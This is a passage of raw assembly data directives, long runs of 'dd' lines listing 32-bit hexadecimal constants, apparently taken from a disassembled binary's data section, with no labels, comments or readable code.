		dd 29D6079Eh, 0D1230E9h, 9E009989h, 0B5914A45h,	0E0FDFE83h
		dd 5E5A0011h, 3D30392Bh, 85008C61h, 9C44EE13h, 3BC9843Fh
		dd 7E00860Ah, 8E478A19h, 5B768D3Ah, 8109726Fh, 5F0A189Fh
		dd 25800D3h, 97A8161Fh,	2C0FA2B8h, 8771F387h, 8460A08Fh
		dd 3523F41h, 1F8609ACh,	50B06A1Eh, 7C0027C4h, 6DEBDEABh
		dd 0B25C60h, 0D35A9B8Eh, 92544780h, 0DE4EFF25h,	96803E14h
		dd 1273D65Fh, 177A7993h, 0C3C07F00h, 0B1A749ACh, 906660C1h
		dd 0C61F2463h, 326EA900h, 542775Ch, 84DA3BA4h, 8D80723Dh
		dd 6A926486h, 7E00D359h, 9F26EE01h, 2EFA8Fh, 4875148Eh
		dd 1208D2B3h, 8D0219F8h, 9D390E96h, 0ECBC80BBh,	1E2F1A5h
		dd 2CDF0236h, 0FBD50AFBh
		dd 70833498h, 0AD7E1900h, 0E456E180h, 8B991C7Dh, 2BE08001h
		dd 0A76DFE4Ch, 533A4A00h, 9E59B439h, 9FEB0005h,	0C5BED570h
		dd 7E1F3829h, 1600D2F8h, 7F8AB002h, 0D39F000Eh,	4C59BD9Bh
		dd 0AD028EB3h, 7B385E45h, 0C0A98F3Fh, 81EF4D3h,	0C6E082h
		dd 915AABCCh, 380B053h,	920240C0h, 1B4E19h, 5AA9D83Bh
		dd 719E0CF9h, 4BA0C900h, 0D98260B0h, 0B50D2915h, 7CD2C3Ch
		dd 0A5F6B34Dh, 103C103Fh, 3291F918h, 6B00C35Ch,	0E0756094h
		dd 0C5BA6Dh, 463870Eh, 6F818F61h, 0DC054D0Dh, 68A13814h
		dd 5AE45070h, 74009F42h, 0D0E0048Ch, 0F8C1A5FCh, 0D9B3237Bh
		dd 3E14D0h, 2EE717FDh, 41EAD41Bh, 0F31DB007h, 10C0CFDBh
		dd 389FE095h, 3985D934h, 87594D93h, 74484CE5h, 0A8E7C138h
		dd 520ECAC5h, 8C6BD492h, 7B807Ch, 1610DB96h, 8F35B685h
		dd 0C158FB07h, 99568A0Fh, 0EB4B14E8h, 0DC00B850h, 0E1BE42CFh
		dd 2C1D3C82h, 4780C9B6h, 0AB222B43h, 0B4F2AEh, 0B3BF8044h
		dd 3E692A7Dh, 905FBC00h, 0A573EB62h, 20420075h,	0F20E0ABFh
		dd 0FA0006B5h, 0C7944666h, 0AF63A9h, 927F64ACh,	42A29F30h
		dd 0DE54B703h, 0F09478C0h, 3F4C0Eh, 8A20F428h, 76FB5175h
		dd 2DE23701h, 0B4303146h, 370EAECh, 427C85Ch, 7FE1D70Ch
		dd 9322208Ah, 3BDD0700h, 7728CB6Bh, 0B0780FB5h,	0B3402429h
		dd 0DD9962EBh, 524C6400h, 7DE0CBE2h, 38A23FB0h,	0C7426680h
		dd 9007125Ah, 0A030CFE4h, 6ACA4064h, 0A8430EAAh, 5680324Ch
		dd 0DD6E12CCh, 0EEC7540Ch, 10681Ch, 0B433369Eh,	0E02CA5E4h
		dd 1890B93Ah, 1B202845h, 0B3640057h, 6282C7EAh,	0ED002763h
		dd 3E3CC602h, 7A8FC2h, 9B06E41h, 0A4CE3D55h, 86991C1Fh
		dd 5400763Ah, 0F7121F8Eh, 3AF1E6h, 6D93C065h, 330E3CDDh
		dd 9F128D8h, 9E893B27h,	107E4798h, 0A0005B15h, 0F7513193h
		dd 0CC49E40Bh, 0BE315908h, 0D8965C03h, 0C0ADF4E6h, 0BA76B5h
		dd 0DF4BCF1Fh, 0E96B83E8h, 0D30F0CFCh, 653322D8h, 1DB81E7Dh
		dd 79A6002h, 98A3BFB5h,	6888E5DBh, 887A0DD0h, 0E0A69600h
		dd 0D46A799Dh, 0F60C4A7h, 1C5D8434h, 0D63F80C0h, 0F465538Ch
		dd 57A9639h, 865B9DC6h,	334EFC0h, 3764C25h, 0B2009538h
		dd 32820B3Ch, 3AFC6E8Ah, 0BE836700h, 1D7A90E4h,	28FF0019h
		dd 0A960017Fh, 300E76Bh, 6E69CD2Fh, 85AFD7h, 0CC717EE8h
		dd 0AC757B36h, 0D52F4601h, 54D71CCBh, 0BA3B1C80h, 7FE1980Dh
		dd 56EE8D01h, 8F25CB6Fh, 9840ACC5h, 3ABD32AFh, 0E20F5450h
		dd 0D8C098D0h, 30E62C02h, 5607EFFCh, 0D9162F08h, 0CC67B280h
		dd 0FF8F4FBh, 662C9CECh, 8BC05A00h, 0A9009ED2h,	1C9D708Eh
		dd 0B1BC15h, 0FAB3D563h, 0D842545Eh, 0FBE22B00h, 0F52C1CADh
		dd 0E74AC04Eh, 95A71A53h, 0F33CC400h, 0F0B16E02h, 7D15008Eh
		dd 81A921CDh, 32009044h, 0A4AF97F9h, 0F4BD024h,	39772FD4h
		dd 899CCC60h, 7F0E5AC4h, 2C6E9Dh, 18277B14h, 0EFF71CF2h
		dd 9CD0DE39h, 0BE150011h, 0F6F96955h, 8090973Bh, 0C85FE9CAh
		dd 341C6C9h, 1935EF23h,	2FA796E0h, 38BA8261h, 1CB6D0A6h
		dd 7E8C316h, 55A74700h,	1F5B0E19h, 405276CBh, 27BD0381h
		dd 9100D7E5h, 0F1797CDh, 964B97Eh, 0B01A6918h, 46009109h
		dd 8460FF72h, 4B43581Eh, 68012DDDh, 0B4DC5719h,	1699CCh
		dd 6AE99155h, 0E52E31E6h, 95063907h, 0E3D01804h, 31CF434h
		dd 0FBDD592Fh, 58BE44F8h, 0D1FE7912h, 0C729B700h, 12AD59Eh
		dd 6774CCA2h, 0CEC6A97Ah, 3B21D480h, 0C800F73Eh, 6351A6A7h
		dd 330B8CFh, 1D0D5EDDh,	5CC9E0BCh, 55D5C884h, 484F3500h
		dd 0B250A93Ch, 53F0B0h,	826EFF83h, 0AEFBAD72h, 84005390h
		dd 2C099DFEh, 0F2D943AFh, 0F54900BDh, 0EE3E8CF8h, 0E300C4D7h
		dd 88339FB0h, 147EA2h, 0ED126C10h, 85D51BC5h, 82F6DE7Fh
		dd 61CBD618h, 6315F8h, 0AEF133Ah, 0A2018AA3h, 53F83600h
		dd 0F99F3237h, 116D00FFh, 0B6CBFEDh, 9A008864h,	7A817CC9h
		dd 1A132DAh, 0EB743606h, 810270A3h, 0D99D9F40h,	50D0D71Ah
		dd 1C7C39D3h, 83DA9E9Fh, 948A875Ah, 624992C8h, 0B8708D00h
		dd 0BF845E18h, 0A9F40FF7h, 0E580D0A5h, 0F92A030Fh, 48B4AD24h
		dd 8C017F3Bh, 0D5853034h, 0BDECD48Bh, 4FF800FFh, 0FE026FEDh
		dd 830E5B24h, 0C0D3695Fh, 16A1502Dh, 0FF2A1C35h, 9B2040A3h
		dd 9A75C54Fh, 5E8B6D09h, 41530091h, 1EFA4A2Dh, 26EB98Ch
		dd 0A43D70A9h, 0A848EC80h, 0C80034B3h, 7C87EE2Bh, 261CBE39h
		dd 3CE998F1h, 45301281h, 0E997B7E4h, 2A52F4D7h,	9300EBFAh
		dd 0BB0EF323h, 3E6BAA86h, 0B100CC24h, 0D026063Bh, 9807CE4Eh
		dd 0EA6CBE18h, 44559BF0h, 4F9201E0h, 4A02D4B0h,	67E87050h
		dd 60EAD900h, 0BD9084EDh, 8D9100A8h, 0C3FE665Fh, 961DEE04h
		dd 0C8006270h, 0B2585C1Bh, 771F00B3h, 0D6A71861h, 0CC002643h
		dd 0A6732CDh, 0DACE03h,	0D2AAC345h, 0FC9D6CB4h,	8381906Fh
		dd 98C4BAF8h, 0E0CBDD27h, 233F00F4h, 0CC1BC73Dh, 0E090A608h
		dd 5225810Eh, 434800Ch,	7961689h, 79B3673Ch, 0ECEB9017h
		dd 7F3D76E5h, 53360033h, 0CC6F2194h, 3C05003Ah,	0A6BD0FBCh
		dd 0C6005D73h, 0B1258CD2h, 7CBEE3EBh, 0BB690237h, 331CE76Ah
		dd 3EE55840h, 0D4869100h, 320E01B4h, 0F776079Ah, 0D3E838C5h
		dd 86B80A6Fh, 0FE00411Dh, 22B9842Bh, 0A4467Ah, 0F9F0F5A1h
		dd 0B0CED8AAh, 191C9878h, 873DA65Ah, 0B60DDBBBh, 8F6ABD21h
		dd 52C560h, 92B339F0h, 0D3FA269Eh, 9944DE00h, 12AA7283h
		dd 2D2E303Fh, 0F8EC6120h, 40B7B407h, 7EF72943h,	6E7CFEE0h
		dd 16E4EEEBh, 778BDBh, 6C4526B2h, 0E000CDDEh, 2365090Ch
		dd 0D11BE3h, 8E52493Bh,	0DA27379Dh, 0E02D991Fh,	0FC00F79Eh
		dd 7EBE8464h, 392F125Eh, 0AEEC02ECh, 0C841C7BBh, 0CA12FC23h
		dd 0F81DCFFEh, 4A40D8F9h, 4BD769B1h, 7C021F88h,	631C0761h
		dd 0F467000Eh, 7103C35Ah, 8A6A450Bh, 5C92C893h,	0CD830014h
		dd 4E3F3B6Fh, 5D006089h, 84541707h, 0F6729163h,	0A6964887h
		dd 318E026h, 8537A422h,	3D61AC90h, 0BB80981Ch, 0A3006BD7h
		dd 89173B70h, 0A0B50020h, 1D6E959Dh, 0DF0F1ACCh, 0E0BE4034h
		dd 0B63B9EE0h, 3694009Fh, 47A0CBFh, 2B1D3FD9h, 3A49A2E7h
		dd 0BB07DD92h, 0AEF2B009h, 6B004FFEh, 6E06046h,	2DCE67h
		dd 0C830D377h, 150B845Dh, 2FE86F02h, 68F72BFBh,	4A3FE24h
		dd 74DCC719h, 0FC58C0ACh, 974FF89Ah, 2E80E4C7h,	3DEB051h
		dd 550EF4C1h, 180057EBh, 0FA422930h, 5B0AECh, 99E0095Dh
		dd 0BEBFFC76h, 84984E00h, 0B8DC17D7h, 3C0EF271h, 9C83753Dh
		dd 46EE0BEDh, 0DB2E74F8h, 99594A1Ch, 89907F87h,	883E1E60h
		dd 11C60086h, 3ACBEA45h, 0A500D0A3h, 970DD31h, 0F6D4D6h
		dd 9C21904Eh, 6B8F5617h, 3E798401h, 14013410h, 334420h
		dd 7E8B5545h, 0A96CEF66h, 42D9CC00h, 1B5B29E5h,	897D11h
		dd 0C125BD27h, 1C7BA179h, 0A2727F00h, 7AD6AC28h, 8AF8E7h
		dd 0D1FC19CDh, 7F22EEF5h, 0C804E500h, 74914243h, 0DD5A00BAh
		dd 1D32E169h, 651D070Ah, 0A5C7E8A0h, 0DC6CA175h, 0EF4700F2h
		dd 59DDBF7h, 1603C2C8h,	59E2A314h, 6C4FE815h, 0C46B019Fh
		dd 5F947FCCh, 4FDCC87h,	8DE17226h, 0F983481Fh, 88C7610Fh
		dd 0F15B43h, 3C5D7B13h,	0FCB9FB71h, 1B9BDA00h, 9DBEA19h
		dd 46ED037Ah, 5A6A8A6Bh, 0F6A53CA0h, 6E513Ch, 2CC9F33Eh
		dd 2B7FC5h, 0EBFB5A7Bh
		dd 21C442C8h, 7656AA00h, 5585FF16h, 0D158009Fh,	0DE692589h
		dd 60983220h, 732D4000h, 0C91F01E0h, 78BBF428h,	0C675009Fh
		dd 89B6A83Ch, 0DD70DCA2h, 5B30E900h, 0E60BA7C2h, 0CD2C0063h
		dd 0AAC06669h, 53004516h, 0C5854022h, 705B1EFAh, 490E00C3h
		dd 8A58CC6Dh, 0D9005C66h, 177EAC2Ah, 0F8FF8883h, 50F2EBh
		dd 0D4B5CD94h, 0FAB043DCh, 351F3E0Eh, 3AD34322h, 688398D1h
		dd 142B00C5h, 85B065CEh, 9A076388h, 3E90E220h, 8D9259F3h
		dd 80DF0380h, 0D5EA0295h, 0E8887882h, 2374C060h, 0BC65D226h
		dd 432F4201h, 11C0EEF3h, 0EF9D0072h, 60B857C8h,	0DF1C4EA1h
		dd 8F1D30BAh, 0D52C4840h, 0F5C9FE5Bh, 677074h, 0E347EA7Ch
		dd 35CFE19Dh, 0A51D4B00h, 0FCA16B5h, 42020014h,	0B39A3F5Eh
		dd 0CB03972Ah, 0BCEC363Bh, 0E8178ADFh, 3C236D58h, 0F500FFBBh
		dd 5DEBD5CEh, 0DD002E5Ah, 0A3E27C83h, 0B006375Ch, 2A7F1418h
		dd 0DC00BFEBh, 0A0C216A5h, 3A38D605h, 0AAF060D7h, 98BA1D1Ch
		dd 0B4C3FBBh, 0F4BD688Fh, 8C6D5A80h, 91043FF7h,	0F63B4827h
		dd 61EA08C0h, 2AB70DCCh, 2096F8EEh, 0A0F1A34h, 0A73A6551h
		dd 0A3D1C950h, 5CE47C3Fh, 0F0275936h, 479FC406h, 9100C82Ah
		dd 0B5FF7D59h, 0F750E80Bh, 0EEC9BE1h, 21DC0061h, 0C5B7FCDh
		dd 0B50E3BF9h, 40532A9Dh, 6FAE8E46h, 594D009Fh,	0AAA8E632h
		dd 24004380h, 86C80B3Fh, 0E9AD7890h, 1C620h, 725C687Fh
		dd 9DAC60B6h, 38BCFE00h, 0CFF91F33h, 0E6EA8Ch, 3A2AD7B1h
		dd 0FF7ABFDBh, 21508F12h, 93C0531Eh, 386B5B0Bh,	0FC4F034h
		dd 2D4FFB27h, 0C9ECC0BFh, 1AB683F2h, 31DFA58h, 45B5697Bh
		dd 0D452A879h, 767E00FFh, 13A4D9ECh, 6A00068Ch,	6DCB920Dh
		dd 90179B8h, 2F957BD3h,	0AFD0E801h, 287C702Ch, 625CD90Ah
		dd 50269C67h, 2F60407h,	0C00F73A0h, 8654006Ah, 0AAAEB1C2h
		dd 361CC624h, 34001A5Eh, 0BEC3124Bh, 9F50091h, 19F490BDh
		dd 0AF3E3B07h, 0A7A50A0Dh, 5680DC14h, 97B292D9h, 52B90061h
		dd 0FC67C6CEh, 705837F5h, 84BE0920h, 3CB38017h,	51B4D8h
		dd 0C0C88A81h, 1433533Fh, 44A61501h, 0C45ECB5Fh, 0BA0AB080h
		dd 0E9CD8E4Ch, 94351100h, 6E1A4C5h, 0FF55025Bh,	1BA5C0F3h
		dd 7FA0C2h, 0CB3E0416h,	400260B9h, 5875C372h, 2CA2C21Fh
		dd 96009B92h, 53D23CEFh, 0A8CC00BEh, 23CBE109h,	0AD1F7AA7h
		dd 4A44973Eh, 0D8904BFBh, 7EE99BEh, 0C8A2BDDCh,	0A08EAB5Bh
		dd 96F9C5A0h, 21009A98h, 14716988h, 3D375ADEh, 2A804679h
		dd 0DDF77DA0h, 0E300F498h, 0AEDF3CF6h, 0B6A71h,	4D34990Eh
		dd 0D6B910DAh, 3D93D01Eh, 0A0D5248Fh, 7E46625Ah, 33690342h
		dd 256F3870h, 69C16D82h, 0F7988037h, 0B77B7866h, 9F7A0117h
		dd 9E51BADEh, 8739EC6Fh, 0C39B6300h, 0C7189ACFh, 0C87C024Fh
		dd 94FEDB0Eh, 1357ED60h, 0D4163900h, 30818E4h, 0F20A3AEEh
		dd 200E1F18h, 3F3A1B11h, 48BF8090h, 0DEC8DC3Ah,	0D43307ACh
		dd 0E0A15CA7h, 13424E5Eh, 0AA964701h, 85F560B4h, 66AB1682h
		dd 1CC01D08h, 570FFA76h, 60680E33h, 8F558C1Ch, 30E6A3h
		dd 832DF4A8h, 95C26F59h, 0A42485E0h, 0BF00B2DDh, 21CE8E79h
		dd 94A90C2Dh, 0B849EFF1h, 96332C77h, 0E272D91Fh, 4048108Fh
		dd 0B3B0E511h, 40593986h, 3EF656EEh, 477D6600h,	0A17F1553h
		dd 0F82A636Ch, 0FA81DE1h, 0DE00AAF0h, 0BEDD933Ah, 13FCC8Bh
		dd 3C012D42h, 0F5182F08h, 1E37E0F1h, 8CEBEC18h,	0E2BE10h
		dd 9977CF87h, 0FA824678h, 800E4FAh, 3DB43CD3h, 599E92h
		dd 4F1E0A11h, 9FEA320Ch, 14DC4A00h, 0EEACE1BDh,	6C04807h
		dd 9CC25407h, 0C66C431Eh, 575C2000h, 1AD93FFFh,	4B9018h
		dd 3B47125Ah, 42A0586Ch, 0AAE05798h, 15E20A00h,	0DE7213BFh
		dd 2CC13841h, 1E2B0074h, 0A2563FBDh, 7F38871Bh,	76037E2Dh
		dd 0E5E3A1C7h, 0D581E8A8h, 0AFE4005Fh, 0C2FC955Bh, 0DE0E0EFBh
		dd 134BB05h, 0F1A33207h, 0F6975C50h, 31940815h,	0FD42618Eh
		dd 5ACF0062h, 0CBB889F0h, 0D6708101h, 53BCE0C2h, 1DA51D0h
		dd 0FEBA1397h, 0C039C35Ch, 990569E3h, 0CB368083h, 0BEDE4381h
		dd 8EDCC1C1h, 35AA0CD5h, 0D6D82EFEh, 0EC818800h, 2048A8D7h
		dd 66A01D44h, 76434F67h, 905AF3C7h, 7FAC38FDh, 5BA2B11Ch
		dd 18BC54C0h, 1D372h, 0DDD40409h, 9ABA65C3h, 52B03Bh, 14F085A9h
		dd 811F4Dh, 0FA7D1C12h,	0E0913DB6h, 0E062FDEFh,	0F2A0ACD4h
		dd 0BD00F8FCh, 75B7C83Eh, 0A7EFECh, 9AA59138h, 0D5DCD2D9h
		dd 7B880D00h, 59C797E7h, 903A7A66h, 7AB200FBh, 7ECD45FDh
		dd 0C1EEE6B8h, 701DDD03h, 0F03CAD3Ah, 2EAE3BA1h, 0D3D2E1h
		dd 27BC0EC7h, 9B004D70h, 2658C1A9h, 75EDD7Fh, 0F45218E8h
		dd 96783031h, 0F901B7CEh, 0EC3C16E0h, 0BBD0C56Ch, 0F8D900B2h
		dd 0CBD4F0E9h, 0E3002D79h, 1D44A41Bh, 0F8F921AFh, 677F00B2h
		dd 102F0F1Eh, 197C546Dh, 0B951D700h, 295FA148h,	6240C0F8h
		dd 92773BC1h, 3ECAF403h, 1DDF766Ah, 18C4F59h, 0CE31C96h
		dd 298B10F3h, 56218119h, 90058A4h, 721DDFF6h, 405EBE14h
		dd 0E7021B7Dh, 763EC518h, 0BBAF107Ch, 0CC46B789h, 0B0530159h
		dd 0D5102C89h, 20CD08CBh, 0D028DE18h, 0FB2258DFh, 0DA22191h
		dd 8412BF0Ah, 8B4B1FBCh, 0FD971020h, 0D0493B10h, 0D62F452Ch
		dd 2ECE42CBh, 0AF5E202Ch, 3E8E3EC9h, 0D12DB93h,	16C40ABAh
		dd 0B4BD00ACh, 0A968D207h, 0C498C816h, 8847511Ch, 0E4101404h
		dd 0A1E957Ah, 2E3E3B83h, 0FC600094h, 33047C13h,	0C1DB98A8h
		dd 9BC27A05h, 0EC003DA4h, 2C4B720Ch, 7600E57h, 0A2610F6Eh
		dd 0E8A5F8CDh, 9B00AA3Bh, 0ADAE1D43h, 0E2CA4Bh,	0F44A8499h
		dd 19A9651Bh, 2A3D7005h, 0D4033F4Dh, 0C02710DBh, 2F9A4Eh
		dd 0C354659Bh, 31A83D86h, 0D538D900h, 10D1CE19h, 79D000BCh
		dd 0D48E9C42h, 8798811Ah, 0DE844003h, 0CC43D55Ch, 0F5C0B0C0h
		dd 29D70054h, 0FCEBD013h, 6500E8A6h, 8E9477FBh,	7E72BB26h
		dd 8A0F00A9h, 0D5151317h, 7D001232h, 5297FD50h,	75EE67Fh
		dd 0A0BBB5B3h, 984F8F4Dh, 0DEB6BF40h, 1600B268h, 7EC209AFh
		dd 0EB3AD9h, 71C6FECCh,	0A236BA12h, 0F138A378h,	0C24D0005h
		dd 7043908h, 2F670014h,	3B6E02D4h, 3700762Eh, 696A8D19h
		dd 7C96538h, 0B6528EE6h, 583B103Ch, 0B400A2B5h,	254D87ABh
		dd 3B01B9AEh, 0A7CCBDA3h, 460F1607h, 309117D9h,	0FEF333C1h
		dd 8AC1D00h, 4A13DBA4h,	90BEh, 9C12AB72h, 8E695121h, 1D2E2B00h
		dd 0D6A1B06Ah, 8559320Ch, 0FA110F29h, 9E72E07Fh, 29BAF631h
		dd 5310AB15h, 1604E3DFh, 13832351h, 42BB6204h, 0E2577EEh
		dd 0C688DA88h, 41CE8880h, 519D088Ch, 0DC89761Bh, 29705878h
		dd 9489B41Ah, 7F0107E5h, 0C85180D0h, 9E3E6130h,	0F414A0A6h
		dd 0C351C242h, 0B100970Eh, 28471D62h, 3050529Eh, 0E729548Bh
		dd 217F8607h, 257F9100h, 0A22E9676h, 3EFB0353h,	1EA49003h
		dd 0BB804B8Fh, 2376F6C0h, 0C2B89500h, 0A2AABCAh, 606C00B3h
		dd 4AE9B904h, 977BBCE8h, 53C59100h, 0D2F4C0DAh,	3DDF070Eh
		dd 73BF7AD8h, 0A1B85699h, 0AB004A1Eh, 2772772Eh, 0AD3FEh
		dd 0A70BB633h, 0FB40539h, 0D9388003h, 0C02B94F2h, 0B2151Eh
		dd 0C82DDAFAh, 16650D4Bh, 0C1B9DF00h, 0F7516C4Dh, 7B6E00FEh
		dd 8F260882h, 2200022Ah, 701FAFDDh, 1A7214h, 4448D7E5h
		dd 0E1C02CD0h, 18252804h, 74C0605Dh, 7859CD9Ch,	1D6A78E2h
		dd 0C204E987h, 0FF6663CEh, 0C8A4F440h, 7D2DC900h, 80640F8h
		dd 0E4B807E8h, 50CEF29Eh, 89C06D7Fh, 2464041Bh,	0F30FA03Eh
		dd 0F8DE008Dh, 941D4B63h, 0A24C22A3h, 14B70260h, 41995B97h
		dd 7DD801E2h, 24EE07FBh, 0D050E5F8h, 1DEDA6E0h,	8BFA1E00h
		dd 210BF197h, 79FC00D3h, 5D4C26B2h, 8205856Eh, 9CC3AF6Fh
		dd 0EA8AB580h, 7654005Ah, 0A12F2867h, 0CC076048h, 2A2563EDh
		dd 5E3AE270h, 889B3D4Fh, 6A091883h, 0C0B710D5h,	4C12F008h
		dd 0AA4A6F02h, 0C0A6E5CDh, 2819A39Ah, 8C89A8h, 6AB298E8h
		dd 0E6738D94h, 0CBC66600h, 9795D5ABh, 3E10068h,	38FBF69Dh
		dd 0FE3D7539h, 0C2B90067h, 8B82141Ah, 0BFFA0036h, 0D85B854Bh
		dd 0EE00119Ah, 2D499971h, 667388h, 0CD27ED16h, 7BA83EABh
		dd 1DF56300h, 0E6E6A34h, 577A14F1h, 0D600A4BFh,	1B4C9F1Fh
		dd 0EE099E17h, 87B0FD1Eh, 120AE66h, 8C8E12h, 79EF3462h
		dd 65415DA5h, 5ED8AB0Fh, 0B35260E3h, 3FE62806h,	0F5000D45h
		dd 0CD171D1Ch, 95001E71h, 5924E2C4h, 7B48C7BAh,	619E007Dh
		dd 0EABEFA11h, 940EFB6Ch, 2AF77E07h, 0C307F08Ch, 0F1D03E12h
		dd 1687297h, 514D3895h,	201C26CAh, 74273B1Ch, 40D661h
		dd 0F4D0C1F0h, 2F735069h, 275EE3Ch, 0AFB8051Ah,	0E59DC3A1h
		dd 236E80EBh, 8201BF9Bh, 0DE483015h, 4083B6E2h,	3DCB33Bh
		dd 277E4E00h, 100D7D4Ch, 0CDAE0044h, 96FAC7A4h,	8000248h
		dd 0B135F430h, 0B8B41B3Fh, 0C1820008h, 28A2C04h, 4C03AA01h
		dd 95811D7Ah, 2A7BA829h, 367D0015h, 9CF0DD0Eh, 3400FAC4h
		dd 0EEA802A7h, 0B53B56h, 50BFB9D9h, 0AFC5D57Dh,	0F1A5FB00h
		dd 357F0C20h, 38680059h, 3C732BCCh, 76015D65h, 87972C1Dh
		dd 0DCDC4BDFh, 3FEC4851h, 0B0EEAA00h, 0FF43BA2Fh, 0C97AC81Ch
		dd 0CB3B49h, 45A41E09h,	0B9D80760h, 70D48039h, 0C4BEB4A1h
		dd 0BF006098h, 7159DB90h, 657AC9h, 16AD5C46h, 636E299Bh
		dd 0DECF4D00h, 0BD3B5567h, 0CCC7057Fh, 0C0C57BF0h, 0C4139678h
		dd 8B3DF700h, 44D169CBh, 0B2E70778h, 40D09CC1h,	61BB285Eh
		dd 0E1959012h, 73920C40h, 90238F3Bh, 3825B0ADh,	300F5E3h
		dd 93C45E9Ah, 0CE3E6B33h, 7B6600E1h, 1CE59FE8h,	17A4009Eh
		dd 9E75B98h, 2200EE54h,	0B89AA826h, 0EF344B1Eh,	0A98BAEE8h
		dd 0A6F4B1CCh, 0AA30021h, 1318CC76h, 590E5632h,	80BD1B06h
		dd 0F24B14B5h, 2CFE30CFh, 255236D8h, 5FD0BB00h,	0B67EBDA1h
		dd 77EB008Ah, 60EAAED2h, 0DE1E4EB5h, 5400A30h, 13E779D3h
		dd 8A0301EFh, 0A76276A8h, 0BA6EC4D1h, 971ABC00h, 0FED2FF4Dh
		dd 0CCDE00E8h, 2DAE8463h, 600D134h, 330FD76Ch, 0E4B39Eh
		dd 68182CE0h, 0EE5B87C0h, 58199401h, 0E710E1B7h, 0FD6CA0CFh
		dd 539D00DFh, 85B517D4h, 0F600F7F2h, 6F9A563Ch,	1EEC5Eh
		dd 4DE447EDh, 24D97DCCh, 99146C05h, 30C09F81h, 7942DB9Eh
		dd 63050FE0h, 6280C096h, 0F282BADDh, 0D7E12900h, 269C5EFDh
		dd 6B162E72h, 0C39E0314h, 1F9017DAh, 6D007088h,	631CE3E5h
		dd 0FC62F889h, 0AF913E83h, 7D001ABEh, 0A43976C2h, 0AE13BA8Ah
		dd 9E001769h, 0ADF0F9D2h, 0F7075E7h, 37BCF7A8h,	0E83D8000h
		dd 0BF2C3CEh, 801CC03Dh, 955BDE43h, 3A064D96h, 0AB8F9EC8h
		dd 0E22348A4h, 88008905h, 424BB851h, 298076h, 209EA2BCh
		dd 0A43F8322h, 0D8019500h, 0DA2BCBDFh, 0E146300Ah, 0E270928h
		dd 689DA700h, 8F82F3D9h, 626C4C1Dh, 0DAE7561Bh,	4DE083E8h
		dd 26A9D900h, 94EAC655h, 0F77300CBh, 0AFDABBEDh, 82003E56h
		dd 0B183021Ch, 0BB30350h, 20B99B0Fh, 0A2214180h, 4490958Ch
		dd 89963Bh, 0ED23DC56h,	2DFE0D0h, 33271A87h, 85604E38h
		dd 8400B6B2h, 158F8582h, 0CF89A7h, 335FF78h, 0F1E8F70Fh
		dd 0D90E9107h, 7460DEB0h, 0EAC1B3h, 0A9536377h,	208C833h
		dd 9E9FB11Ch, 98B2DBC0h, 0AA14F9h, 18FBD44Ah, 2915D1E2h
		dd 36E9A600h, 0F8CBEA62h, 0F49D0393h, 1948C239h, 70CFF9A1h
		dd 10735FAh, 5B2508DDh,	460F49F0h, 0DE9A3871h, 188DACh
		dd 36535C7Ah, 933EA50Ch, 1E059E08h, 8A75A9C0h, 6917E4h
		dd 8F8C1951h, 0DF2B1366h, 3A288200h, 0A821D412h, 15A007BBh
		dd 30387ECAh, 22399DE7h, 0EEA1BE00h, 0FECE6F04h, 0CBE300C5h
		dd 0BD0CC1C2h, 0EF0F90B0h, 8077178Dh, 4B9A5D40h, 0BAF7D95h
		dd 6B2858FCh, 0E0351907h, 9F9E232Eh, 0C1913603h, 0F0731C08h
		dd 0CDEA65h, 18876DFEh,	8F5EB803h, 0F0D1C200h, 1DDB6D2h
		dd 6ABA1D61h, 0B49B8087h, 0DBCA9942h, 3734FF03h, 92F99507h
		dd 0A2F08FE3h, 60E1225Ah, 3063323Fh, 96E82E0Ah,	0C9162703h
		dd 0E1006FACh, 44D6877Ah, 0DE0E38B7h, 8457B307h, 799DC005h
		dd 870E3EFEh, 871D2B43h, 0CD4004AAh, 3B8E738h, 2E885DBFh
		dd 0E804ADB3h, 3D77A8C4h, 6261B480h, 54F648h, 0FC1A7304h
		dd 0A4E74FB9h, 46C9EF00h, 1B20CBD5h, 0DAF70094h, 0F6498107h
		dd 633DBEE0h, 0C2791F6Fh, 0FEC8BF40h, 90DECBh, 3BD41FD0h
		dd 0B5D6148Ch, 0A6128000h, 7F286223h, 99EA006Ah, 2B5603A9h
		dd 7A008586h, 0AFE07D3Ah, 1F5DF5h, 9872A515h, 335A2350h
		dd 0D7C8CC02h, 753AD0B7h, 4C1A05h, 0C29D45EDh, 0F8584BC4h
		dd 56D00059h, 24DB314Eh, 963E1EFDh, 331CCDh, 8447A1D9h
		dd 0EFE030F6h, 31F92400h, 44FD99A9h, 9C5000C6h,	85671214h
		dd 0D81C2068h, 0DB40E532h, 871AB537h, 0E853005Ah, 6E9EAA45h
		dd 0C0E45E27h, 11002C98h, 0EA513284h, 9C65096h,	0A3E2C746h
		dd 7AEF0B00h, 560F7C88h, 6769A8EEh, 0F490BC8Bh,	0CF734F9h
		dd 7A9054FCh, 0CF0EE320h, 0E0677E6Ah, 28E069D0h, 129C0077h
		dd 0DDB192BFh, 9726B27Dh, 4E13EC65h, 20F38907h,	0DCE12127h
		dd 0AC601206h, 9264E860h, 96842660h, 13A303E6h,	2D21946h
		dd 0BC0828E0h, 0D4292200h, 0DE37E4D1h, 76BB05Eh, 1444EE61h
		dd 0C052A5CBh, 0F17027E2h, 747C9F00h, 9535789h,	1F83E2A1h
		dd 40194CB8h, 0DA9C96C2h, 5900F30Fh, 0BCF73CAh,	0C5A3C6h
		dd 0CBD4F43Eh, 6C6F1E5Ah, 0EE92D100h, 3C2F7502h, 1DEB00E3h
		dd 0BA017DB3h, 0DE0379ACh, 0EEF054D6h, 0D8AEF85Eh, 58E97B7Ah
		dd 59C0E401h, 0D0F5D4FDh, 0D32CB00h, 7EC6DCBBh,	0B92600FBh
		dd 5EAF7C58h, 3F0F2A6Bh, 0FC1F1B60h, 0E787C300h, 0D5D633h
		dd 2C2E0E3h, 0B0F89662h, 80607C3Bh, 0F918758Fh,	7B488641h
		dd 81AD019Ah, 8068521h,	4CA8CCB9h, 88735A00h, 0B4C5288Ch
		dd 0F2C87DDDh, 0E939816h, 77977DACh, 80DBE804h,	0AE801788h
		dd 2607C096h, 9C803E9Eh, 90301082h, 493F02C4h, 24ABC8Ch
		dd 614C02E1h, 4A4D4BEh,	83AEE007h, 58102B63h, 3EDF2Ah
		dd 3A91CE1Fh, 0B6B449D7h, 17ED6A04h, 0B2810624h, 11FC7320h
		dd 0AB2E1C9Fh, 0EF0D47E6h, 72008B08h, 414CEB2Ch, 6BAC5A05h
		dd 4080C420h, 0AF90D4h,	6A1D0A9Ch, 14A5B1E9h, 2B32F00Fh
